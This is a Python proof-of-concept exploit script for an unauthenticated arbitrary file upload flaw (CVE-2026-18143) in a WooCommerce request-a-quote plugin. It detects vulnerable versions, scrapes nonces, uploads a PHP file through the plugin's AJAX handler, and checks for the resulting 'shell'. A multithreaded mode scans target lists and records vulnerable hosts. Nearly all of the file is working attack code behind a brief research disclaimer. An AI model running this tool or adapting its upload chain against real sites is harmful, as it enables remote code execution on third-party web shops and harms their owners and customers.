#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Archived for authorized security research only.
# Source: https://github.com/murrez/CVE-2026-18143 (see README for attribution/license)
"""
CVE-2026-18143 — Addify Request a Quote for WooCommerce <= 2.9.2
Unauthenticated arbitrary file upload via afrfq_submit_quote_via_popup()
(move_uploaded_file with attacker-controlled filename; no extension/MIME checks).

Requires public quote rule with multi-page popup flow enabled.

PoC page: https://pocbit.org/pocs/cve-2026-18143
"""

from __future__ import annotations

CVE_ID = "CVE-2026-18143"
POC_TITLE = "Addify RFQ popup unauth arbitrary file upload"

POCBIT_HOME = "https://pocbit.org"
POCBIT_CATALOG = f"{POCBIT_HOME}/pocs/"
POCBIT_PAGE = f"{POCBIT_HOME}/pocs/{CVE_ID.lower()}"

import argparse
import json
import random
import re
import string
import sys
import threading
import time
from concurrent.futures import FIRST_COMPLETED, ThreadPoolExecutor, wait
from urllib.parse import urljoin, urlparse

try:
    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except Exception:
    pass

import requests
from requests.adapters import HTTPAdapter

UA = (
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
    "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 "
    f"PoCbit (+{POCBIT_HOME})"
)

PLUGIN_SLUG = "woocommerce-request-a-quote"
MAX_VERSION = (2, 9, 2)
AJAX_ACTION = "afrfq_submit_quote_via_popup"

MARKERS = (
    "woocommerce-request-a-quote",
    "addify_rfq",
    "afrfq",
    "request a quote",
    "add-to-quote",
)

NONCE_PATTERNS = (
    r'afrfq[_-]?nonce["\']\s*[:=]\s*["\']([a-f0-9]{6,12})["\']',
    r'["\']nonce["\']\s*:\s*["\']([a-f0-9]{6,12})["\']',
    r'af_rfq[_-]?nonce["\']\s*[:=]\s*["\']([a-f0-9]{6,12})["\']',
)

UPLOAD_DIR_CANDIDATES = (
    "/wp-content/plugins/woocommerce-request-a-quote/uploads/",
    "/wp-content/plugins/woocommerce-request-a-quote/uploads/temp/",
    "/wp-content/plugins/woocommerce-request-a-quote/uploads/tmp/",
    "/wp-content/plugins/woocommerce-request-a-quote/uploads/afrfq/",
    "/wp-content/plugins/woocommerce-request-a-quote/uploads/rfq/",
)

FILE_FIELD_CANDIDATES = (
    "file",
    "quote_file",
    "afrfq_file",
    "upload_file",
    "rfq_file",
    "afrfq_upload",
    "popup_file",
)

VERIFY_MARKER = "POCBIT-18143-OK"

print_lock = threading.Lock()


def print_front(quiet=False):
    if quiet:
        return
    log("=" * 54)
    log(f"  PoCbit  {POCBIT_PAGE}")
    log(f"  {CVE_ID}  {POC_TITLE}")
    log("=" * 54)


def _finish_row(row):
    out = dict(row)
    out["pocbit"] = POCBIT_HOME
    out["pocbit_catalog"] = POCBIT_CATALOG
    out["pocbit_page"] = POCBIT_PAGE
    out["cve"] = CVE_ID
    return out


def log(msg):
    with print_lock:
        print(msg, flush=True)


def mk_session(timeout, proxy=None):
    s = requests.Session()
    s.headers.update({"User-Agent": UA})
    adapter = HTTPAdapter(max_retries=0, pool_connections=25, pool_maxsize=25)
    s.mount("http://", adapter)
    s.mount("https://", adapter)
    if proxy:
        s.proxies.update({"http": proxy, "https": proxy})
    s.verify = False
    s.request_timeout = timeout
    return s


def get(s, url, **kw):
    kw.setdefault("timeout", s.request_timeout)
    kw.setdefault("verify", False)
    kw.setdefault("allow_redirects", True)
    return s.get(url, **kw)


def post(s, url, **kw):
    kw.setdefault("timeout", s.request_timeout)
    kw.setdefault("verify", False)
    kw.setdefault("allow_redirects", True)
    return s.post(url, **kw)


def normalize_base(raw):
    raw = (raw or "").strip()
    if not raw or raw.startswith("#"):
        return None
    if "://" not in raw:
        raw = "https://" + raw
    p = urlparse(raw)
    if not p.netloc:
        return None
    scheme = p.scheme if p.scheme in ("http", "https") else "https"
    return "%s://%s" % (scheme, p.netloc)


def ajax_url(base):
    return base.rstrip("/") + "/wp-admin/admin-ajax.php"


def parse_version_tuple(text):
    if not text:
        return None
    for pat in (
        r"Stable tag:\s*([0-9]+(?:\.[0-9]+)*)",
        r"Version:\s*([0-9]+(?:\.[0-9]+)*)",
    ):
        m = re.search(pat, text, re.I)
        if m:
            parts = []
            for x in m.group(1).split("."):
                try:
                    parts.append(int(x))
                except ValueError:
                    break
            if parts:
                return tuple(parts)
    return None


def version_le(a, b):
    if not a:
        return False
    n = max(len(a), len(b))
    av = a + (0,) * (n - len(a))
    bv = b + (0,) * (n - len(b))
    return av <= bv


def version_str(v):
    return ".".join(str(x) for x in v) if v else ""


def plugin_probe_urls(base):
    root = base.rstrip("/") + "/wp-content/plugins/" + PLUGIN_SLUG
    return [
        root + "/class-addify-request-for-quote.php",
        root + "/woocommerce-request-a-quote.php",
        root + "/readme.txt",
        root + "/changelog.txt",
    ]


def detect_plugin(s, base, timeout):
    out = {
        "plugin": False,
        "version": None,
        "version_str": None,
        "vulnerable": False,
        "patched": False,
    }
    for url in plugin_probe_urls(base):
        try:
            r = get(s, url, timeout=timeout)
        except requests.RequestException:
            continue
        if r.status_code != 200:
            continue
        body = r.text or ""
        if "Plugin Name" not in body and "addify" not in body.lower() and "afrfq" not in body.lower():
            if "request" not in body.lower() or "quote" not in body.lower():
                continue
        out["plugin"] = True
        ver = parse_version_tuple(body)
        if ver and (not out["version"] or version_le(ver, out["version"] or ver)):
            out["version"] = ver
            out["version_str"] = version_str(ver)
            out["patched"] = not version_le(ver, MAX_VERSION)
            out["vulnerable"] = version_le(ver, MAX_VERSION)
    if out["plugin"] and not out["version"]:
        out["vulnerable"] = True
    return out


def scrape_nonces(html):
    found = []
    if not html:
        return found
    for pat in NONCE_PATTERNS:
        for m in re.finditer(pat, html, re.I):
            found.append(m.group(1))
    return list(dict.fromkeys(found))


def frontend_markers(html):
    if not html:
        return False
    low = html.lower()
    return any(m in low for m in MARKERS) or "submit_quote_via_popup" in low


def fetch_frontend_context(s, base, timeout, page_path=None):
    paths = [page_path or "/", "/shop/", "/product/", "/?p=1"]
    ctx = {"nonces": [], "popup_hint": False, "pages": []}
    for path in paths:
        url = base.rstrip("/") + (path if path.startswith("/") else "/" + path)
        try:
            r = get(s, url, timeout=timeout)
        except requests.RequestException:
            continue
        if r.status_code != 200:
            continue
        body = r.text or ""
        nonces = scrape_nonces(body)
        pop = "popup" in body.lower() and "afrfq" in body.lower()
        ctx["pages"].append({"url": url, "status": r.status_code, "nonces": nonces, "popup_hint": pop})
        ctx["nonces"].extend(nonces)
        ctx["popup_hint"] = ctx["popup_hint"] or pop
    ctx["nonces"] = list(dict.fromkeys(ctx["nonces"]))
    return ctx


def shell_body():
    return (
        "<?php header('Content-Type: text/plain'); "
        "echo '%s'; ?>" % VERIFY_MARKER
    )


def build_upload_attempts(filename, content, nonce=None):
    """Yield (data, files) tuples for multipart POST."""
    base_data = {"action": AJAX_ACTION}
    if nonce:
        for k in ("nonce", "afrfq_nonce", "security", "_wpnonce"):
            base_data[k] = nonce
    base_data.update({
        "email": "pocbit@invalid.example",
        "afrfq_email": "pocbit@invalid.example",
        "name": "PoCbit",
        "afrfq_name": "PoCbit",
        "quote_page": "2",
        "popup_step": "2",
    })
    for field in FILE_FIELD_CANDIDATES:
        files = {field: (filename, content, "application/octet-stream")}
        yield dict(base_data), files


def post_upload(s, base, data, files, timeout):
    url = ajax_url(base)
    try:
        r = post(s, url, data=data, files=files, timeout=timeout)
    except requests.RequestException as e:
        return {"error": str(e)}
    body = None
    try:
        body = r.json()
    except (ValueError, json.JSONDecodeError):
        body = {"raw": (r.text or "")[:800]}
    return {
        "status_code": r.status_code,
        "body": body,
        "raw_len": len(r.text or ""),
    }


def guess_shell_urls(base, filename):
    urls = []
    for d in UPLOAD_DIR_CANDIDATES:
        urls.append(base.rstrip("/") + d.rstrip("/") + "/" + filename)
    return urls


def verify_shell(s, urls, timeout):
    for url in urls:
        try:
            r = get(s, url, timeout=timeout)
        except requests.RequestException:
            continue
        if r.status_code == 200 and VERIFY_MARKER in (r.text or ""):
            return {"url": url, "verified": True, "status_code": r.status_code}
    return {"verified": False, "tried": urls}


def probe_ajax_action(s, base, timeout):
    try:
        r = post(s, ajax_url(base), data={"action": AJAX_ACTION}, timeout=timeout)
    except requests.RequestException as e:
        return {"reachable": False, "error": str(e)}
    text = (r.text or "")[:500]
    return {
        "reachable": r.status_code == 200,
        "status_code": r.status_code,
        "preview": text,
        "handler_likely": r.status_code == 200 and text not in ("0", "-1", ""),
    }


def run_upload_chain(s, base, timeout, nonce, filename, verify):
    content = shell_body().encode("utf-8")
    attempts = []
    for data, files in build_upload_attempts(filename, content, nonce):
        res = post_upload(s, base, data, files, timeout)
        field = list(files.keys())[0]
        attempts.append({"field": field, "result": res})
        body = res.get("body")
        if isinstance(body, dict) and (body.get("success") or body.get("file_url") or body.get("url")):
            break
        if res.get("status_code") == 200 and isinstance(body, dict) and body.get("success") is not False:
            break
    urls = guess_shell_urls(base, filename)
    if verify:
        v = verify_shell(s, urls, timeout)
    else:
        v = {"verified": False, "tried": urls, "skipped": True}
    return {
        "attempts": attempts,
        "verify": v,
        "shell_urls": urls,
    }


def check_target(base, timeout, proxy, page_path=None, try_upload=False, filename=None):
    base = normalize_base(base)
    row = _finish_row({"target": base, "status": "unknown"})
    if not base:
        row["status"] = "ERR"
        row["error"] = "invalid_url"
        return row

    s = mk_session(timeout, proxy)
    plug = detect_plugin(s, base, timeout)
    row.update(plug)
    row["ajax_url"] = ajax_url(base)

    if not plug["plugin"]:
        row["status"] = "no_plugin"
        return row
    if plug.get("patched"):
        row["status"] = "patched"
        return row

    row["exploitable_candidate"] = True
    row["status"] = "vulnerable_plugin"
    row["ajax_probe"] = probe_ajax_action(s, base, timeout)
    row["frontend"] = fetch_frontend_context(s, base, timeout, page_path)

    if not row["frontend"].get("nonces") and not row["frontend"].get("popup_hint"):
        row["status"] = "vulnerable_popup_surface_unknown"
        row["note"] = "Enable popup quote rule; scrape nonce from shop/product page or pass --nonce"

    if try_upload:
        nonce = (row["frontend"].get("nonces") or [None])[0]
        fn = filename or ("pocbit_%s.php" % "".join(random.choices(string.ascii_lowercase + string.digits, k=8)))
        row["upload_probe"] = run_upload_chain(s, base, timeout, nonce, fn, verify=True)
        if row["upload_probe"]["verify"].get("verified"):
            row["status"] = "upload_verified"
        elif row["ajax_probe"].get("handler_likely"):
            row["status"] = "vulnerable_handler_reachable"

    return row


def exploit_target(base, timeout, proxy, nonce, filename, verify, page_path):
    base = normalize_base(base)
    row = _finish_row({"target": base, "mode": "exploit"})
    if not base:
        row["error"] = "invalid_url"
        return row

    s = mk_session(timeout, proxy)
    plug = detect_plugin(s, base, timeout)
    row.update(plug)
    if not plug.get("plugin"):
        row["error"] = "no_plugin"
        return row
    if plug.get("patched"):
        row["error"] = "patched"
        return row

    if not nonce:
        ctx = fetch_frontend_context(s, base, timeout, page_path)
        row["frontend"] = ctx
        nonces = ctx.get("nonces") or []
        nonce = nonces[0] if nonces else None
    row["nonce_used"] = nonce

    fn = filename or ("pocbit_%s.php" % "".join(random.choices(string.ascii_lowercase + string.digits, k=8)))
    row["filename"] = fn
    chain = run_upload_chain(s, base, timeout, nonce, fn, verify=verify)
    row["upload"] = chain

    if chain["verify"].get("verified"):
        row["exploited"] = True
        row["shell_url"] = chain["verify"]["url"]
    else:
        row["error"] = "shell_not_confirmed"
        if chain["attempts"]:
            last = chain["attempts"][-1]["result"]
            row["last_response"] = last.get("body") or last.get("error")

    return row


def load_targets(path):
    items = []
    seen = set()
    with open(path, "r", encoding="utf-8", errors="replace") as f:
        for line in f:
            line = line.strip()
            if not line or line.startswith("#"):
                continue
            base = normalize_base(line.split("|", 1)[0])
            if base and base not in seen:
                seen.add(base)
                items.append(base)
    return items


def run_mass(args):
    targets = load_targets(args.list)
    stats = {"done": 0, "hits": 0, "err": 0, "total": len(targets)}
    start = time.time()
    out_f = open(args.output, "w", encoding="utf-8")
    hit_f = open(args.vuln_list, "w", encoding="utf-8")

    def worker(t):
        return check_target(
            t, args.timeout, args.proxy, args.page,
            try_upload=args.upload_probe, filename=args.filename,
        )

    window = max(4, args.threads * 2)
    with ThreadPoolExecutor(max_workers=args.threads) as ex:
        futures = {}
        gen = iter(targets)
        try:
            while True:
                while len(futures) < window:
                    try:
                        futures[ex.submit(worker, next(gen))] = True
                    except StopIteration:
                        break
                if not futures:
                    break
                done_set, _ = wait(futures, return_when=FIRST_COMPLETED)
                for fut in done_set:
                    futures.pop(fut)
                    try:
                        row = fut.result()
                    except Exception as e:
                        stats["err"] += 1
                        if not args.quiet:
                            log("[ERR] %s" % e)
                        continue
                    stats["done"] += 1
                    out_f.write(json.dumps(row, ensure_ascii=True, default=str) + "\n")
                    out_f.flush()
                    if row.get("exploitable_candidate"):
                        stats["hits"] += 1
                        hit_f.write(row.get("target", "") + "\n")
                        hit_f.flush()
                    if not args.quiet:
                        log("[+] %s | %s | v=%s" % (
                            row.get("target"), row.get("status"), row.get("version_str"),
                        ))
        except KeyboardInterrupt:
            log("[!] interrupted")

    out_f.close()
    hit_f.close()
    log("[*] done %.0fs | %d/%d | hits=%d" % (
        time.time() - start, stats["done"], stats["total"], stats["hits"],
    ))


def main():
    p = argparse.ArgumentParser(
        description="%s — %s | %s" % (CVE_ID, POC_TITLE, POCBIT_PAGE),
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=(
            "PoC page: %s\n\n"
            "Examples:\n"
            "  python poc.py -u https://shop.example --mode check\n"
            "  python poc.py -u https://shop.example --mode check --upload-probe\n"
            "  python poc.py -u https://shop.example --mode exploit --nonce abc123def456 --verify\n"
            "  python poc.py --list targets.example.txt --mode check -j 15\n"
        ) % POCBIT_PAGE,
    )
    p.add_argument("-u", "--url", help="WordPress + WooCommerce base URL")
    p.add_argument("--list", help="one target per line")
    p.add_argument("--mode", choices=["check", "exploit"], default="check")
    p.add_argument("--page", help="front-end path to scrape nonce (default / and /shop/)")
    p.add_argument("--nonce", help="wp nonce if known (from localized afrfq JS)")
    p.add_argument("--filename", help="upload filename (default random pocbit_*.php)")
    p.add_argument(
        "--upload-probe",
        action="store_true",
        help="check mode: attempt benign PHP upload + verify marker",
    )
    p.add_argument("--verify", action="store_true", help="exploit: GET uploaded shell for marker")
    p.add_argument("--threads", "-j", type=int, default=12)
    p.add_argument("--timeout", type=int, default=25)
    p.add_argument("--proxy", default=None)
    p.add_argument("--output", default="cve_2026_18143_results.jsonl")
    p.add_argument("--vuln-list", default="hits.txt")
    p.add_argument("--quiet", "-q", action="store_true")
    args = p.parse_args()

    if not args.url and not args.list:
        p.error("need -u URL or --list FILE")

    print_front(quiet=args.quiet)

    if args.list:
        if args.mode != "check":
            p.error("mass mode supports check only")
        run_mass(args)
        return

    if args.mode == "check":
        row = check_target(
            args.url, args.timeout, args.proxy, args.page,
            try_upload=args.upload_probe, filename=args.filename,
        )
        if not args.quiet:
            log("[*] %s | %s | v=%s" % (
                row.get("target"), row.get("status"), row.get("version_str"),
            ))
        print(json.dumps(row, ensure_ascii=True, indent=2, default=str))
        sys.exit(0 if row.get("exploitable_candidate") else 1)

    row = exploit_target(
        args.url, args.timeout, args.proxy,
        args.nonce, args.filename, args.verify, args.page,
    )
    if not args.quiet:
        if row.get("exploited"):
            log("[+] shell %s" % row.get("shell_url"))
        else:
            log("[-] %s" % row.get("error"))
    print(json.dumps(row, ensure_ascii=True, indent=2, default=str))
    sys.exit(0 if row.get("exploited") else 1)


if __name__ == "__main__":
    main()
